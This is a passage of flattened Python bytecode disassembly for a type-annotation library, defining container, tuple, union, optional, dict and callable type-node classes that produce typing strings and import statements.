parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST parent LOAD_ATTR full_export_name LOAD_CONST '.' BINARY_ADD LOAD_FAST typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST '.' BINARY_ADD LOAD_FAST self LOAD_ATTR _typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't find a module for class '{}' exported as '{}'" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST module SETUP_LOOP to 72 LOAD_FAST module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR parent STORE_FAST module JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 'import ' LOAD_FAST module LOAD_ATTR full_export_name BINARY_ADD YIELD_VALUE POP_TOP JUMP_FORWARD to 98 LOAD_CONST 'import ' LOAD_FAST self LOAD_ATTR _module_name BINARY_ADD YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not RETURN_VALUE LOAD_FAST self LOAD_ATTR is_resolved POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST root LOAD_FAST self LOAD_ATTR typename CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL weakref LOAD_METHOD proxy LOAD_FAST node CALL_METHOD LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "'{}' exported as '{}' is not resolved yet" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST type_module SETUP_LOOP to 82 LOAD_FAST type_module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST type_module LOAD_ATTR parent STORE_FAST type_module JUMP_ABSOLUTE POP_BLOCK LOAD_FAST type_module LOAD_ATTR full_export_name STORE_FAST module_name JUMP_FORWARD to 96 LOAD_FAST self LOAD_ATTR _module_name STORE_FAST module_name LOAD_FAST module_name LOAD_FAST module COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename LOAD_GLOBAL len LOAD_FAST module_name CALL_FUNCTION LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AggregatedTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for type nodes representing an aggregation of another\n type nodes e.g. tuple, sequence or callable.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'items', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab702700c0, file "f.py", line 674> LOAD_CONST 'AggregatedTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab702701e0, file "f.py", line 678> LOAD_CONST 'AggregatedTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab70270300, file "f.py", line 682> LOAD_CONST 'AggregatedTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST <code object __iter__ at 0x7fab70270390, file "f.py", line 696> LOAD_CONST 'AggregatedTypeNode.__iter__' MAKE_FUNCTION STORE_NAME __iter__ LOAD_NAME int LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __len__ at 0x7fab70270420, file "f.py", line 699> LOAD_CONST 'AggregatedTypeNode.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab702704b0, file "f.py", line 702> LOAD_CONST 'AggregatedTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab70270540, file "f.py", line 707> LOAD_CONST 'AggregatedTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_GLOBAL list LOAD_FAST items CALL_FUNCTION LOAD_FAST self STORE_ATTR items LOAD_CONST None RETURN_VALUE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab70270150, file "f.py", line 680> LOAD_CONST 'AggregatedTypeNode.is_resolved.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR items GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR is_resolved YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST errors SETUP_LOOP to 92 LOAD_GLOBAL filter LOAD_CONST <code object <lambda> at 0x7fab70270270, file "f.py", line 684> LOAD_CONST 'AggregatedTypeNode.resolve.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST self CALL_FUNCTION GET_ITER FOR_ITER to 90 STORE_FAST item SETUP_EXCEPT to 40 LOAD_FAST item LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 74 LOAD_FAST errors LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST errors CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve one of "{}" items. Errors: {}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR full_typename LOAD_FAST errors CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST item LOAD_ATTR is_resolved UNARY_NOT RETURN_VALUE LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for all type nodes representing a container type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab702706f0, file "f.py", line 716> LOAD_CONST 'ContainerTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab70270810, file "f.py", line 722> LOAD_CONST 'ContainerTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab70270930, file "f.py", line 728> LOAD_CONST 'ContainerTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab702709c0, file "f.py", line 733> LOAD_CONST 'ContainerTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab70270a50, file "f.py", line 738> LOAD_CONST 'ContainerTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab70270ae0, file "f.py", line 744> LOAD_CONST 'ContainerTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab70270b70, file "f.py", line 748> LOAD_CONST 'ContainerTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab70270660, file "f.py", line 719> LOAD_CONST 'ContainerTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab70270780, file "f.py", line 725> LOAD_CONST 'ContainerTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab702708a0, file "f.py", line 730> LOAD_CONST 'ContainerTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST item LOAD_FAST item LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SequenceTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous collection of elements with\n possible unknown length.\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'item', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab70270c90, file "f.py", line 758> LOAD_CONST 'SequenceTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab70270d20, file "f.py", line 761> LOAD_CONST 'SequenceTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab70270db0, file "f.py", line 765> LOAD_CONST 'SequenceTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST item BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Sequence[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TupleTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing possibly heterogeneous collection of types with\n possibly unspecified length.\n ' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab70279030, file "f.py", line 775> LOAD_CONST 'TupleTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab702790c0, file "f.py", line 781> LOAD_CONST 'TupleTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Tuple[{}]' RETURN_VALUE LOAD_CONST 'tuple[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UnionTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing type that can be one of the predefined set of types.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab702791e0, file "f.py", line 789> LOAD_CONST 'UnionTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab70279270, file "f.py", line 795> LOAD_CONST 'UnionTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Union[{}]' RETURN_VALUE LOAD_CONST '{}' RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST ', ' RETURN_VALUE LOAD_CONST ' | ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OptionalTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing optional type which is effectively is a union\n of value type node and None.\n ' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab70279390, file "f.py", line 807> LOAD_CONST 'OptionalTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab70279420, file "f.py", line 810> LOAD_CONST 'OptionalTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab702794b0, file "f.py", line 816> LOAD_CONST 'OptionalTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Optional[{}]' RETURN_VALUE LOAD_CONST '{} | None' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DictTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous key-value mapping.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab702796f0, file "f.py", line 824> LOAD_CONST 'DictTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object key_type at 0x7fab70279780, file "f.py", line 829> LOAD_CONST 'DictTypeNode.key_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_type LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object value_type at 0x7fab70279810, file "f.py", line 833> LOAD_CONST 'DictTypeNode.value_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab702798a0, file "f.py", line 837> LOAD_CONST 'DictTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab70279930, file "f.py", line 843> LOAD_CONST 'DictTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 1 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Dict[{}]' RETURN_VALUE LOAD_CONST 'dict[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CallableTypeNode' STORE_NAME __qualname__ LOAD_CONST "Type node representing a callable type (most probably a function).\n\n ```python\n CallableTypeNode(\n 'image_reading_callback',\n arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_())\n )\n ```\n defines a callable type node representing a function with the same\n interface as the following\n ```python\n def image_reading_callback(image: Image, timestamp: float) -> None: ...\n ```\n " STORE_NAME __doc__ LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab70279a50, file "f.py", line 864> LOAD_CONST 'CallableTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arg_types at 0x7fab70279ae0, file "f.py", line 875> LOAD_CONST 'CallableTypeNode.arg_types' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arg_types LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object ret_type at 0x7fab70279b70, file "f.py", line 879> LOAD_CONST 'CallableTypeNode.ret_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ret_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab70279c90, file "f.py", line 883> LOAD_CONST 'CallableTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab70279db0, file "f.py", line 889> LOAD_CONST 'CallableTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab70279ed0, file "f.py", line 896> LOAD_CONST 'CallableTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab70279f60, file "f.py", line 902> LOAD_CONST 'CallableTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab703fa030, file "f.py", line 907> LOAD_CONST 'CallableTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST arg_types LOAD_GLOBAL TypeNode CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE CALL_METHOD POP_TOP JUMP_FORWARD to 50 LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab70279c00, file "f.py", line 886> LOAD_CONST 'CallableTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab70279d20, file "f.py", line 892> LOAD_CONST 'CallableTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR full_typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab70279e40, file "f.py", line 898> LOAD_CONST 'CallableTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST arg LOAD_FAST arg LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClassTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing types themselves (refer to typing.Type)' STORE_NAME 